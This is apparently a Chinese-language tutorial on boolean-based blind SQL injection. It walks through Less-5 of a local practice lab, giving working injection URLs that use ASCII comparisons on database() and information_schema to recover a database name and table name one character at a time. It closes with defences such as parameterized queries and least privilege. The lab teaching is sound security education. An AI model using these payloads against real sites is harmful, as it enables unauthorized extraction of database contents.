布尔盲注 (Boolean-Based Blind SQL Injection) 是一种SQL注入攻击技术。其根本特征是:攻击者无法直接从数据库查询结果或错误信息中获取数据,Web页面仅会根据查询条件返回两种状态:“True”(真)或“False”(假)(通常表现为页面内容存在与否、某个特定关键词出现与否等差异)。
攻击者通过精心构造SQL注入语句,根据页面返回的是“True”还是“False”这两种不同的响应状态,像“猜谜”一样,一步步推断出数据库中的敏感信息(如数据库名、表名、字段名以及具体数据内容)。
关键特征在于:
无直接数据回显:与可直接显示查询结果的联合查询注入不同,布尔盲注无法直接看到数据。
无报错信息:与利用数据库报错信息来获取数据的报错注入不同,布尔盲注不依赖错误回显。
二元判断:攻击者完全依赖于对页面返回的两种不同状态(是/否、存在/不存在)进行观察和判断。过程缓慢:由于需要逐个字符进行猜测和验证(例如:数据库名的第一个字母是'a'吗?是'b'吗?
),攻击过程通常非常耗时,但可以通过自动化工具(如sqlmap)来加速。
接下来在sql靶场上实战,打开第五关。
首先猜接库名,利用ASCII码的值用二分法猜解数据库的库名的第一个字母。通过页面返回结果的差异(“真”或“假”状态),逐字符推断当前数据库名称的第一个字符的ASCII码是否大于64
输入:
http://localhost/sql/Less-5/?id=1' and ascii(mid(database(),1,1))>64--+
显示大于64,ASCII码0~127,用二分法下一个到95
http://localhost/sql/Less-5/?id=1' and ascii(mid(database(),1,1))=115--+
#一直猜解,到115显示跟上图一样证明第一个字母就是115对应的字母“s”
接着猜库名第二个字母,同样运用ASCII码;第三第四以此类推
http://127.0.0.1/sql/less-5/?id=1' and ascii(mid(database(),2,1))=101--+
http://127.0.0.1/sql/less-5/?id=1' and ascii(mid(database(),3,1))=99--+
依次类推出数据库的名字为“security”,接下来猜解表名。
http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
从当前数据库 (database()
) 中查询第二张表 (limit 1,1
) 的表名,并取出其第一个字符。如果这个字符的ASCII码等于114(即字符 'r'),那么整个条件为真;否则为假。
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+
若第二张表名的第二个字符的ASCII码 =101(即字符 e
),则条件为真,页面返回“真状态”(如正常内容)。若ASCII码 ≠101,则条件为假,页面返回“假状态”。依次猜解,最终得到表名referer
防御措施:使用参数化查询(预编译语句):这是最有效、最根本的防御方法,能彻底将用户输入的数据与SQL代码分离,使得输入内容永远被视为数据而非代码执行。对输入进行严格的校验和过滤:例如,如果参数 id
应该是数字,就严格校验其为整数类型。最小权限原则:确保Web应用使用的数据库账户只拥有最小必要的权限,避免其能访问 information_schema
等系统表。错误处理:统一错误页面,避免暴露数据库结构信息。